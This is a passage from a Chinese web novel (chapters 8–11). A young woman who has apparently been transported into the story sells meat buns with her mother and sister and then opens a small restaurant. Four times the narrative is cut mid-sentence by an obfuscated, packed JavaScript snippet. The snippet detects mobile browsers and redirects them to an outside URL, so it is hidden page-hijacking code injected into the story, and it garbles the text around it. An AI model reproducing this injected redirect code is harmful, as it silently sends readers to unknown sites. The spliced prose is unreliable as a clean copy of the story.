军人大哥看着有二十来岁，个头高，动作干脆利落，长得也特别精神，不仅三两下治得两个街溜子嗷嗷叫，还问出了缘由。 矮胖子抱头蹲在墙根，态度真诚：“我们就是想搞点钱花，看她平时包子卖得怪好，想着弄、弄几个先花花……” 瘦高个同样的姿势，同样的真诚：“她、她长得这么好，我、我们一时就、就没忍住……” 军人大哥冷哼一声，让俩人老实点儿，转身过去查看林珊的情况，“怎么样，受伤没有？” 林珊摇摇头，擦擦泪，哽咽着感谢大哥。 蹲着的流氓二人组，看看彼此，怀疑这会儿这哭成小白花的人，跟刚才骂他们的是同一个吗？ 大哥简单向林珊核实了一下情况，吩咐道：“我把这俩人送到派出所，姑娘你就不用跟着去了，趁天黑前赶紧走大路回家吧，以后多注意安全。” 他口音里带着一丝不是特别明显的首都腔，说话的时候严肃认真，给人的感觉特别正派。弄得林珊都不好意思演戏了。 她掀开棉被把留着准备自家吃的包子，直接用油纸包给了大哥，“您收下吧，不然我、我过意不去。” “不用，保护群众是我们军人的职责。”大哥严肃地说完，无视香喷喷的大包子，直接揪着两个街溜子走了。 林珊看着手里的包子，有些怔愣，跟着她缓缓竖起大拇指，深感敬佩，不愧是人民子弟兵啊，绝对不拿老百姓一针一线！ 收起包子，林珊听话地骑回了大路。不给子弟兵添麻烦，也是咱群众该做的。 其实摆摊到现在，她不是没遇过不顺的事，不过最多也就是同行瞪两眼、酸几句、骂两声而已，她当然不是善茬，骂她一句直接砖头块伺候。 今天这种又蠢又无语的劫道还是头一次遇见。一时还真让她有点闹不清是同行找的人，还是纯粹倒霉被傻子盯上了。不管怎么说，日后还是得小心为妙。 回到家赵桂花已经把稀饭做好了，配上林珊之前腌好的酸萝卜小咸菜，还有大肉包，伙食很可以了。 林珊没把下午的事儿说出来，怕俩人担心，看着林红和赵桂花开心地说着卖包子的事儿，她只是简单提醒了一下要注意别被人盯上钱包。 赵桂花哼声：“敢抢老娘我直接跟他拼命！放心，妈身上一直带着家伙呢。” 林珊笑了，“反正尽量不要落单走小路。” 赵桂花：“不用操心我们俩，你一个人更得小心。” 林珊：“是，知道了。” 林红笑着给林珊递包子，“多吃点儿。” 林珊接过包子，咬了一口，“明天咱做点儿别的，吃烦了都。” 赵桂花拿筷子敲她，“你这话出去说说，看看遭人揍不。有大肉包吃居然还敢嫌烦。” 三个人有说有笑地吃完饭，正忙着收拾洗碗，突然听见门口有人喊：“这是林爱国同志家吗？” 林珊离门口近，连忙跑去查看。这个点儿天虽然已经黑了，但是还能勉强看清人脸，仔细一瞧，咦，这不是下午救她的军人大哥吗？！ 而且，他刚才喊得是她大哥的名字，林珊立刻意识到这是部队来人了，于是赶紧热情地把人往家里请。 赵桂花立刻扔下碗筷，端茶倒水迎接，还指挥林红林珊去准备吃的。 贺正岩赶紧打断她，放下买来的米和油，简单说明了一下自己的来意。 林爱国是他手下的兵，在之前的一次任务中意外身亡，因为不够评功，抚恤金是战友们自己凑了两百块钱送来的。当时贺正岩正处于重伤昏迷中，根本不知道这一切。这次路过安河市，他就想着上门看看林爱国的家人。 说罢，贺正岩掏出两百块递给她们。 “不不不，贺大哥，这钱我们不能要。”林珊赶紧拒绝，赵桂花因为一提起林爱国就开始哭，反应有些慢半拍，回过神来之后也马上拒绝。 林珊把钱推回去，轻声解释道：“谢谢贺大哥的好意，不过我们家现在真得还行，日子没那么困难了。当初那两百块钱的抚恤金，我们用了一些来卖包子，现在生意还不错。一家三口吃穿不愁问题，日子也很有奔头。我们真的不能再收您的钱了。” 赵桂花：“是是是，不能再收了。” 贺正岩见她们坚决，就暂时把钱收了回来，不过面和油可是说什么都要放下。 林珊还要推辞，人家直接发话了。 “战士们都出过力了，我这个当连长的什么都不做说不过去，这也没多少东西，你们就收下吧。”说着，他直接把面和油搬到墙角，同时趁所有人不注意的时候，把钱压在了油桶底下。 办完了事，贺正岩起身告辞。他还要赶路回部队，就不多耽搁了。 母女三人把他送到门口，贺正岩看了林珊一眼，她立刻会意这是有话要对她说，于是让母亲和姐姐回去，她把人送到胡同口。 贺正岩知道她没提一句下午的事，是不想让家里人担心，于是低声告诉她：“公安同志说那两个流氓是惯犯，上礼拜刚放出来就犯事，这回一时半会儿是出不来了。不过，姑娘家还是得多注意安全。以后家里有困难，可以打电话，或者写信到部队找我。” “谢谢贺大哥，今天幸亏我遇见您了，不然后果真不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748436|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。您说的对，以后我一定会更小心的。我哥在部队的时候，多谢您对他的照顾，我们三个会努力生活，不给部队添麻烦的！”林珊轻声说完，无比真诚地对他鞠了一躬。 贺正岩没想到她这么郑重，立即回了个标准的军礼。 第二天一早赵桂花整理屋子的时候，发现了油桶下面的两百块钱。 她在屋里诶呦呦乱叫，想着要怎么给贺正岩寄回去。 林珊想了想还是算了，对方铁了心要给，她们还来还去倒显得难看，回头她多买上一些安河的特产，给贺正岩邮过去还礼好了。 下回要是还能见到面，说什么也得请人家好好吃上一顿饭。 卖完早上的包子后，中午突然下起了大雨，瞧这架势没有一点要停的意思。林珊决定下午这顿不卖了，全家休息。 说是休息，其实也没闲着。她之前买了些布，想让赵桂花做几件衬衫和裤子出来。不求多好，每天有换洗的衣服就行。卖吃食的人干干净净是基本要素，不然食物干净卫生，自己穿得脏不拉几的，会让人觉得吃的也不行。 桂花女士的裁缝技术还行，做几件简单衣服是没问题的。就是家里没有缝纫机，剪好之后需要拿到邻居周婶子家去缝线。 这年代的衣服挺贵，好一点的要二十几块。林珊倒是想学穿书同行去粤城倒腾先进设备和服装，这样来钱多快。可是目前她的启动资金还是太少了，而且那地界鱼龙混杂，一个小姑娘就这么贸贸然过去风险太大。一个弄不好，再被人贩子给掳走咯。 不过话虽然这么说，等以后攒够了钱，她还是会想办法找些稍微稳妥的门路去粤城一趟的。改革春风吹满地，林珊必须争口气，不能眼睁睁看着这么好的挣钱机会溜走。不然就白穿书了。 整个下午，赵桂花负责剪裁，林红负责量尺寸，林珊负责提意见，三个人比比划划半天，三套衣服终于做好了。 齐刷刷白色衬衫配深蓝色裤子，跟工作服似的，三个人往身上一穿，别提多立整了。 赵桂花笑眯眯地看看两个闺女，再看看自己，觉得这日子实在太有盼头了，连她都有新衣服穿了。红丫头现在比以前爱笑多了，珊丫头也能顶事儿了。当妈的只求俩孩子将来能有个好归宿，她就算真正放心了。 这阵子不是没有人向她打听俩姑娘的情况，想说媒的就有好几个。不过条件都不大合适。说给红丫头的不是岁数大的光棍，就是死了老婆家里还几个孩子的。说给珊丫头的倒是有一个家庭条件还不错，结果她托人稍微一打听，发现那就是个溜子，全靠爹妈，自己正事儿没有。 唉，可能姻缘还没到吧。 不知怎么的，她突然想起昨天上门的贺领导。那可真是个好青年啊，模样俊，人也好，官儿还大，也不知道什么样的姑娘，才能配上这么棒的小伙啊。 9. 第9章 卖包子的生意一天比一天稳定，天越往冷里走，卖得就越好。 随着食材的消耗量越来越大，林珊想着钱给谁不是给，不如让大岗村的舅舅，在院子里种些菜供给他们。这样既能改善一下舅舅家的情况，自家又能省些成本。反正大岗村离城西也就十几公里，骑车来回也方便。 她家里那些晒干的豇豆角就是舅舅之前送来的，中间用完之后，赵桂花又去大岗村收了一麻袋。 林珊虽然对这个舅舅印象不深，但感觉人应该还行。 没想到赵桂花听了这主意后，唉声叹气：“我这个弟弟什么都好，就是太窝囊了，在家里放个屁都得看他婆娘脸色。” 虽然老赵家就剩下他们姐弟俩了，但是赵桂花跟赵大强来往并不多。不是对这个小两岁的弟弟不亲，而是不愿意搭理那个精得跟猴似的弟媳。 远的不说，就拿这些干豆角来说吧，家里快用完了，她想去村里看看有没有家里还存着的。结果一到就受了弟媳黄玉芬的冷脸子。 原来之前那些干豆角，是赵大强背着黄玉芬偷偷给她送来的，这回见赵桂花上门，黄玉芬以为她又想来白拿。 赵桂花也不是那受气的人，直接甩上一大块，按市场价补回了上次的豆角钱，接着又拍下三块钱，算是这回收购的钱。 黄玉芬这个人见钱眼就开，瞬间变了个人似的端茶倒水、笑脸迎人，还很快就帮她收了满满一麻袋的豆角。 赵大强在一旁坐着，全程屁都不敢放一个。 “所以啊，我一般不愿意招他们俩。黄玉芬这个人你要说她多坏吧，也不至于，反正就是有钱就是娘，连她亲娘都别想占她一分钱便宜，人短得很！” 林珊听完，觉得这事还是可行的，“认钱就行。” 认钱就能提要求，总比动不动就拿亲情裹挟人强。这年头多的是那种一个人富，全家都指望着被带富，不然这人就是不忠不孝不仁不义。 林珊解释道：“咱家现在用到的菜不算多，差价不大，但是等开了铺子，菜量大了，差距可就出来了。要不咱改天去一趟大岗村，我先跟妗子谈谈，要是行，咱就让他们干，不行就当是看舅舅了。” 赵桂花想了想，“行吧。”谈不拢，就当是看大侄子了。反正那个家也就她大侄子招人喜欢了。 于是次日卖完早上那顿之后，林珊带着赵桂花去了大岗村。 本来她想让姐姐也一块儿去的，结果林红怕离婚的事儿被亲戚问东问西，就决定留在家里准备下午的馅料，这样等两人回来也不耽误下午出摊。 大岗村在城西的西边，就跟这个年代的大多数农村一样，穷得叮当响。 赵桂花当年能从村里嫁到城里，完全是因为模样好、个子高，所以才能把城西那个，不高不帅房子还小的林老二迷得团团转。 林红和林珊就遗传了她的好基因，个头都挺高。不过林红长得更像林老二一点，脾气性格也像。林珊则更像赵桂花，脾气性格更是跟活脱的一样。 赵大强的房子在村东头，破破旧旧的砖瓦房，地方倒是挺大，收拾得也挺干净。 林珊她们到的时候刚九点钟，过了饭点又没到下一个饭点，还是挺合适的。村里刚忙完秋收，基本都在家闲着。 大概是上次买豆角让黄玉芬占着便宜了，这回见赵桂花带着闺女来，她还挺热情，尤其是看见林珊提着的鸡蛋和包子，笑得就更加合不拢嘴了。 倒是大侄子赵福对赵桂花说：“姑，你们来就来呗，带东西干啥啊！” 赵桂花笑了笑，她最喜欢这个大侄子，长得人高马大，人还实诚，没有半点儿他爹娘的毛病。 赵大强家同样是三个孩子，一个儿子俩闺女，都已经早早成家了。赵福是家里的老大，比林爱国小几个月，孩子都生俩了。 大丫和二虎，一个四岁，一个两岁，又黑又瘦，正一门心思蹲院子玩儿土呢。 林珊对赵家不熟，但人还是能认全的，大大方方问完好之后，她直接开门见山把自己想让赵家帮着种菜的想法说了。 黄玉芬还没听完就笑着拍板：“没问题啊！咱家菜地大，珊丫头想种啥咱就能种啥！不过……就是这花销……” 林珊会意：“您放心，亲兄弟明算账，绝对不会亏了您的。” 白菜、豆角、葱姜蒜，辣椒、香菜、黄瓜西红柿，只要是当季能种的菜她都要。没有种子，她可以提供。价格按市里价格的一半，需要送货上门。 如果觉得行就干，不行就拉倒。 林珊把话说得很直接，黄玉芬听得猛点头。她家地方大，自家院子里种菜谁也管不着。市里价格的一半在村里已经很高了，这事儿可以干！ “珊丫头，你说种啥咱就种啥，菜到时候让福子给你送过去。现在院里种的都是秋白菜，香菜我下午就先种上一溜，其他的就得来年了。” 林珊：“好，别的来年再种。” 黄玉芬很是高兴，赵大强跟赵福也挺开心。村里穷，父子俩农忙之外，会到隔壁村的砖厂给人当小工补贴家用。现在能多挣一份钱，自然觉得开心。 赵福好奇：“大姑，咱现在卖包子这么挣钱啊？” 赵桂花谦虚起来了，“都是辛苦钱罢了。” 林珊笑了笑，看着她绘声绘色地把卖包子的事儿说给赵家人听。听得爷俩一阵感慨，直夸林珊能干。黄玉芬眼珠子一转：“包子这么挣啊，那珊丫头要不也教教咱——” “妈！这是我姑她们营生的命根子，哪能随便教人的！你没听说过去有为了个羊肉汤方子就杀人的？”赵福真是服了他老娘了，啥便宜都想占。 黄玉芬讪讪一笑：“我、咱咱这不都是自己人嘛。” 林珊岔开话题：“妗子知道谁家还存着干豆角吗？我们今天想再收点儿。” “诶诶诶，好嘞，老牛家还有，我这就去！”黄玉芬雷厉风行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748437|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，效率还高，很快就搞来一麻袋风干的豇豆角。 林珊翻看了一下品质，很痛快地给了钱，然后笑眯眯地看向黄玉芬，真心夸她：“妗子您这能干劲儿，在城里至少得是个领班主任。” 黄玉芬一愣，还从来没人这么夸过她，笑得别提多开心了，“诶呦呦，这、这啥话，咱可比不了人家，珊丫头说笑了，哈哈哈哈。” 林珊谈好事，收了豆角，带着赵桂花早早回城了，赵福想留她们吃顿午饭也没留成。 林珊算过家里的钱了，加上贺大哥送来的两百块，现在一共有小六百块钱了，开个铺子扩大一下经营范围的钱是足够了。 原本她是打算过完年再着手弄的，可现在才十一月，离过年还有将近四个月，时间就是金钱，直接开干。 这个小吃铺她打算分季卖。 热得时候卖凉皮、凉面，冷的时候卖大骨肉丝面，不过这都不是真正的招牌。已经在这片儿打出些小名堂的大肉包，是小店的镇店之宝。而且她还准备再增加纯肉包、酸菜包两种口味。 夜里睡不着的时候，林珊已经琢磨过无数遍了。心中有蓝图，干起事来就特别顺当。 把开铺子的决定跟家里一说，她就不去城西小学出摊儿了，每天骑着车到处去看铺子。一个礼拜看下来，结合当地的人流量和房租情况，还是在城西开更合适。 她看中的铺子在城西高中对门，旁边是派出所和玻壳厂的职工家属院，后头是财会学校和卫校。而且最关键的是，这一片不让随便摆摊。不然一堆人往前面一挡，后头的店家还做不做生意了。 铺子十五平方米左右，房东老头上下打量了林珊一会儿，下巴磕一抬：“15块一个月。” 林珊知道这是在胡开价，附近的铺子基本都是十一二块一个月。房东这么说，要么是觉得她不懂，要么就是不相信她是真想租房子。 吃了年轻貌美的亏啊，林珊严肃认真地看着老头，就差发誓了，“爷爷，我是诚心租房子的，您就跟我说个实在价，合适我就租了。” 老头摆摆手，“一口价。” 林珊真想一棍子敲下去，但是没辙，有房的是爷。这片就这么一间铺子在招租，她又实在想租，所以只好求助在旁边派出所的王军大哥去了。 果然，王军一出面，老头立刻笑开了花：“诶呦，是小王同志的亲戚啊，那好说，11块，一口价。” 王军知道这老头不缺钱，笑着说：“再让点儿吧，我这妹子不容易，一家子就靠做点儿吃食生活，您再给便宜点儿。” 老头对吃的感兴趣，“你要卖啥吃的？” “大肉包子面条凉皮凉面，到时候请您吃。”林珊很上道地说。 老头砸吧了一下嘴，“那看在小王同志的面上，十块五一个月吧，可不能再低了。” 林珊高兴地签下合同，交了钱。压一个月租金，付六个月，一下子七十几块就出去了。 10. 第10章 拿到钥匙后，林珊请王军在旁边吃了一碗羊肉刀削面。 王军嫌她浪费，“花这钱干什么，还没你家的肉包好吃。” 很快林珊就知道原因了，五毛钱一碗的刀削面，羊肉没多少，羊汤底也带着一丝骚腥气，面条到是给得挺多。 林珊放了些醋盖味儿，趁机替自己铺子打广告：“等‘爱国大肉包’开张，欢迎军哥和同事们来吃，面条包子凉皮凉面什么都有。” 王军笑了，“卖这么多啊，忙得过来吗？” 林珊：“冬天先不卖凉皮，有我妈和我姐在没问题的。再说了，卖饭挣得就是这份辛苦钱。” 王军点点头，没想到林珊一个小姑娘家这么能干。卖包子这才几个月，现在都能开铺子了。不过那大肉包确实好吃，他老娘在家也试着做过几回，味道可差远了。 “我看你姐现在好多了，张强没再来找事儿吧？” 林珊：“没有，他没那胆子，这事多谢军哥了。” 王军：“客气啥，别说我认识你哥，单凭咱这身衣服都不能放过那种畜生。” 林珊很感激王大娘和王军，平时隔一阵就会送些包子过去，有时候她去，有时候是林红去。王大娘一开始还客气推辞，后来次数多又推不掉之后，就开始回一些鸡蛋或糕点，这样有来有回，两家倒是越处越近了。 吃完面，林珊回家把消息一说。赵桂花急得立刻就要过来看铺子，一下子花出去那么多钱，这死丫头也不跟自己商量一下！万一地方不好呢！ 不过等她跑来一看，心立马落了一半，“不错不错，地方还挺大的。就是这一个月十块五也太多了吧，这得卖多少包子啊。” 林珊搂住她和林红，一边看向门面房，一边给俩人吃定心丸，“放心吧，咱‘爱国大肉包’一定会在这条街上爆火的！不，不只这条街！一定会在咱全安河市爆火的！” 赵桂花拍她脑袋：“啥又是爆又是火的，你这么快把铺子定下来，锅、灶、桌子板凳啥的买了吗？没买赶紧的，这一天天都是钱啊。” 林珊：“放心吧，我都打听好了，下午咱就去置办。” 下午赵桂花借了辆三轮车，母女三人一块儿去了集市。 林珊前天已经跟卖二手家具的大爷说好了，让他帮忙收四张矮桌，二十几把小板凳，有合适的柜子她也要。 今天一过去，大爷就把收好的桌凳全搬出来了。八成新的木料，表面有点儿掉漆，到时候重新刷刷就行。柜子大爷也凑了四个，就是有高有低，又不是很能装东西，林珊就没要。 一番砍价之后，满满一车桌凳花了五十二块钱。买完这些，锅碗瓢盆也都在集市上一一备齐了。做饭的炉子就不用买了，她另有打算。 回到家之后，林珊钻进屋里勾勾画画弄了张图纸。她准备把十五平方米的小店，按照后世乡村汉堡小店的构造去布置。 就是那种进门是就餐区，往里走是柜台，柜台后头是操作间的模式。 说是柜台，其实她是想用水泥隔断把空间一分为二，里面砌上大灶和工作台面，外面是客人吃饭的地方。这样既省钱又省地方，两个人在后厨能忙开，屋里还能放上两张桌子。 门口的地方都归店家用，她打算搭个简单的棚子支出来，砌个专门蒸包子的灶，前头再放上两张桌子供客人吃饭。夏天的时候还能上些冰棍汽水。 赵桂花和林红被她说得异常心动，仿佛已经看见了自家小店生意红火的样子。 第二天一大早，林珊去找了上回给家里打柜子和砌灶台的大爷，她把自己的要求一说，大爷立刻就带人上铺子量尺寸去了。在铺子里走走画画，又跟手下人商量了一番后，大爷报了个林珊能接受的价格。 定好最重要的装修，林珊找人去做招牌了。铺子名还叫“爱国大肉包”，毕竟肉包是一年四季要卖的，汤面和凉皮则要跟着季节走。 这年头的招牌没什么特别的样式，基本都是木板刷上白漆底，用红漆写上字。林珊挑了一家报上尺寸，交好定金后，等着过两天拿货。 至于大骨肉丝面和凉皮的名字，她准备自己拿红漆刷在招牌下面的玻璃上。价目表也自己写，门口贴一份，店里贴一份。 开铺子要准备的东西实在太多了，林珊每天像个陀螺似的不停转。夜里要睡觉了还要再想想有什么没准备的，赵桂花和林红除了出摊卖包子，一有空也会去铺子帮忙收拾。 老顾客们都知道她们要开铺子了，赵桂花不但把地址说得一清二楚，而且把自家打算卖什么，也都吹出去了。虽然她自己还没吃过，但已经说得那些街坊们觉得“爱国大肉包”家的面，同样香得让人口水直流。 就这样经过半个多月的忙碌，铺子总算收拾得差不多了。 小店整个以白色为主，白墙底配上绿漆墙围，桌凳也刷成了白色，更别说柜台和后厨了，台面为了防水，她还让师傅统一贴上了白砖。 再配上门口新刷的暗红色木门，和擦得锃亮如新的玻璃窗，看上去比国营饭店还漂亮。 赵桂花站在“爱国大肉包”的招牌下，激动得一把鼻涕一把泪。 林红也忍不住抹泪，她没想到她们家还能有这样的生活。 “以后咱们只会比现在更好。”林珊跟她们搂在一起，看着这间小铺子，“这才只是刚刚开始，以后咱还要做更大的买卖，到时候咱仨在家躺着数钱就行了。” 赵桂花破涕而笑，“什么乱七八糟的，先把咱花出去的钱挣回来再说吧。” 林珊笑道：“放心吧，待会儿我就去买菜做给你们尝尝，保准比大肉包还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748438|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吃。” 现在快十一月底了，除了增加两种新口味的包子，主打的就是肉丝面了。大骨底汤熬成奶白色，猪肉丝用葱姜蒜酱油爆炒就行，不需要多复杂的炒法，然后再加入酸菜丁和青菜提味，绝对是冬天离不开的窝心面。 安河市市面上有卖肉丝面，也有卖大骨面的，像她这种用大骨做汤底，还放上肉丝的，还真是少见。至少她寻觅铺子的那几天，没发现城西有。 买食材的时候，林珊还买了些辣椒面做油泼辣子。香料油炸好，依次泼进辣椒面里，然后再放上一些白酒和醋，这样能让辣椒更香、更红。 虽然用的料有点多，但还是那句话，不舍得放料，东西就不会好吃。 赵桂花口水都流出来，她是真没想到辣椒也能弄这么香，不过好吃是好吃，钱挣得回来吗？“咱这一碗面卖多少？” “4毛。”她家这面里又是肉丝，又是大骨汤的，要价可不算贵。 大肉包比原来涨1分钱，6分一个。纯肉包比大肉包小点儿，同样按6分，酸菜包里面只有些肉沫提味，所以按3分。还是要以实惠为主，不能让老顾客觉得换地方价格就涨上天。 赵桂花算了半天没明白，“那咱一天能挣多少？” 林珊：“到时候看情况吧，这个不像卖包子能算那么准，不过我估计应该不会少过20块。” “二十？！”赵桂花又掰开手指算了算，“那一个月就有六百块啊！”她说着说着，声音突然变小了，好像钱已经到手，怕被人听见了，钱就会被抢走似的。 林珊笑道：“还得扣除本钱呢，不过这都只是估计，没准儿咱卖得更好。” 赵桂花乐开了花，哎呦呦地过来拍林珊的脑袋，满脸一副“我闺女怎么这么能干”的喜庆劲儿。 林红也笑了，“姗姗真了不起，你这都怎么想出来的？” 林珊搂住林红，“姐你才叫能干呢。大肉包虽然是我想出来的，但是我发现这两回你自己调的馅儿，比我那个更香，更好吃。而且连包子褶，你都能包出十八个来，我和妈怎么试都不行。姐，我觉得你在做饭这方面特别有天赋。” “是、是吗？”林红不好意思地摸摸脸，腼腆地笑了。 赵桂花也忍不住夸她：“你姐现在都能自己吆喝客人了。” 林红被亲妈说得更羞愧了，她只是觉得妈妈和妹妹都在特别拼命挣钱，她也得加油干，千万不能拖后腿。而且她们说得对，人必须得自己强起来，不然以后还是会被欺负。 母女三人在新铺子里，一边试做，一边东拉西扯，用了小半天功夫，给所有要卖的吃食定好了味儿。 夜里回到家，赵桂花开始翻挂历看日期。 后天黄道吉日，诸事皆宜，“爱国大肉包”小吃店可以开张了。 11. 第11章 开张前一晚，母女三人在铺子里忙到夜里九点钟，才把所有食材备好。 第二天鞭炮一放，“爱国大肉包”正式开始营业。 大骨在火上咕嘟嘟熬着，包子的香气飘满铺子前后，林珊站在门口一边吆喝，一边派发宣传单。 宣传单是她画的，一共二十张。上头的包子和肉丝面卡通可爱，价格写得清清楚楚，“爱国大肉包”这五个字巨大无比。 王大娘带着街坊过来捧场，王军也带着所里的同事过来吃面，买惯了她家包子的老顾客，更是一大早就过来光顾了。 会涨价他们心里有数，见只涨了一分钱，立刻就觉得林珊家是有良心的实在人。而且还多了纯肉包和酸菜包。不差钱的直接每样来俩，六个包子满满当当地带走了。 有的老顾客等包子的时候看见旁边的客人在吃面，那香味儿给馋的哟，要不是没时间，肯定就坐下开吃了。明天一定要来买上一大碗吃吃。 “珊丫头，这肉丝面真好吃，太有味儿了，鲜掉牙了都给我。”跟王大娘一块儿来的街坊婶子，拉着林珊猛夸。 一旁陌生的客人，也频频点头：“确实好吃，肉丝给得也多，改天我让厂里的人都来吃！” “包子也香！你家这铺子应该早点儿开过来的，这样我就能天天在你这儿吃早饭了。”一个高中生模样的女孩子也忍不住搭腔，她手上还带着块儿电子表，一看就是有钱人家的孩子。 “感谢大家的捧场，大家吃好喝好，有什么需要的叫我们啊。”林珊笑着感谢完大伙儿，出去擦桌子去了。 王军领的人在外头坐着，林珊把四碗肉丝面上好，送了他们一盘纯肉包，然后又把油辣子和醋给端了过去。 “各位大哥尝尝口味，人太多招呼不周，有需要的叫我啊。”林珊匆匆把东西放下之后，招呼别的客人去了。 那三个被王军叫来的哥们，本来以为就是穿着制服来捧个场，顺便震慑一下那些有歹念的小人，结果肉丝面还没上桌，他们光闻味儿口水就快流出来了。 等面一上来，好家伙，这么些肉，汤底奶白奶白，有酸菜有青菜，面条给得真足。夹上一筷子，居然比想象中还好吃！面条爽滑筋道，喝口汤暖暖身，感觉人都活了！ 再配上人家姑娘拿过来的辣椒，我的个老天爷啊，香晕了！送来的纯肉包更是好吃得能把天灵盖打开，几个大老爷们瞬间被这顿饭拿捏得死死的。 即使王军知道林家做饭是好吃的，也被惊喜到了，看来之前光摆摊还是影响了她们发挥啊。 猛地吃了几口面解馋，他不自觉地朝铺子里面看去。穿过那么些人，王军看见林红带着帽子在里头做饭，脸看着有点红，估计是热的。心情肯定是好的，眼睛笑眯眯的。突然，赵桂花扭头往外看过来，惊得他赶紧收回视线。 林珊在旁边收碗，刚好看见这一幕。 她不着痕迹地看了眼王军，又瞄了眼自己那正在埋头煮面的姐姐，震惊了几秒后，唇角缓缓地往上扬。 开业第一天生意络绎不绝，娘仨一直忙到将近晚上十点钟，才把店里打扫干净，把第二天要用的东西都准备好。 不过累是累，收获是极大的。第一天就有将近25块钱的营收，都快抵上初级工一个月的工资了。 赵桂花开心地忘了疲惫，感觉这一辈子都没这么畅快过。就连闺女要从她兜里掏钱，也没像以前那样捂半天。 “咱得再买辆自行车。”林珊觉得自己早上去的时候，和晚上回来的路上，都跟在玩儿杂技似的。一辆自行车，她后座带着亲妈，前梁坐着亲姐，一路晃晃悠悠颤颤巍巍。 从家里到铺子走路有点远，自行车就一辆，是家里之前低价买来的旧车，虽然这个时期的车子都挺结实耐用，但车毕竟有年龄了，隔三差五就出点小毛病。 现在手里余钱是有的，买车迫在眉睫。 赵桂花点点头，“行吧，再买一辆就再买一两吧，不过可别一上来就弄新的，先看看有没有合适的旧车。” 林珊让她别操心，自己会情况定的。 母女三人洗漱完，姐妹俩回了自己的房间。虽然很累，但都有点睡不着。 第一天生意就这么好，林红兴奋地对跟林珊说：“我今天听见好多人夸咱家东西好吃。” 林珊笑道：“吃的东西骗不了人，咱家料给得足，今天姐跟妈都累坏了吧。” 林红摇摇头，眼睛亮晶晶的，“累倒没觉得多累，就是刚开始有点慌，人一多我就想赶紧把面做好。倒是你一个人跑前跑后的，累坏了吧？” “我还行。”林珊喜欢钱，只要能赚钱，浑身就有使不完的劲儿，“今天毕竟是第一天，一开始有点手忙脚乱很正常，过两天熟悉之后就好了。” “是，我后来也有点做顺手了。”林红轻声说着，脸上一直带着笑，跟以前那个被打得不敢直视陌生人的姑娘，判若两人。 林珊突然想起王军偷瞧她姐的事来，有点犹豫要不要稍微提醒一下。 不过考虑了两秒，她就决定顺其自然，先当不知道好了。她不喜欢做媒，更不会觉得女人必须嫁人才是正途。除了婚姻，还有更广阔的天地，人不活出点自己的风采，一辈子也挺可惜的。 之前听赵桂花提过一嘴，说王军以前有个老婆，前几年生孩子的时候没了。王大娘之后没少替他相看姑娘，不过好像都没有什么下文。公安在这个年代很吃香，像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748439|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王军这种条件好又没孩子的，找个没出嫁的姑娘一点难度都没有。 现在看这架势，他应该是对自己姐姐有意思，就是不知道到什么程度了。 林珊看着姐姐笑了笑，把林红笑纳闷了，问她笑什么又不说，姐妹俩嬉嬉闹闹，不一会儿也就睡了。 这边和谐美好，隔壁林富贵却有些睡不着觉。 没想到赵桂花居然还真就把铺子给开开了。 摆摊卖包子不算什么，开铺子就不一样了，要花不少钱，也能挣不少钱。爱民说那铺子里吃饭的人，乌央乌央的，一天下来可不少挣。 他家的生意不能过明面，往小了说叫倒买倒卖，往大了说那就是走私。虽然他现在还看不上那个小铺子，但是这个苗头不太对劲。 任由赵桂花这么干下去的话，搞不好还真能让这娘仨干成个万元户。 不行，她凭啥，死了的老二凭啥。爹娘偏心眼，从小就不疼他，让他进厂子接班，却偷偷把求来的当兵的名额给老二。哼，现在好好睁眼瞧瞧吧，瞧瞧谁过得好？ 老二早早死了，他还活着。老二闺女不成器，他闺女考上了首都的大学！不但考上了好大学，还给家里想了个偷偷挣大钱的营生。 这样的闺女去哪儿找？他林富贵这辈子最大的福分就是有这么个闺女。 不过，这丫头走了这么久，一封信都没往家邮过，也不知道在学校过得咋样。 林兰过得很好，大学生活让她容光焕发。 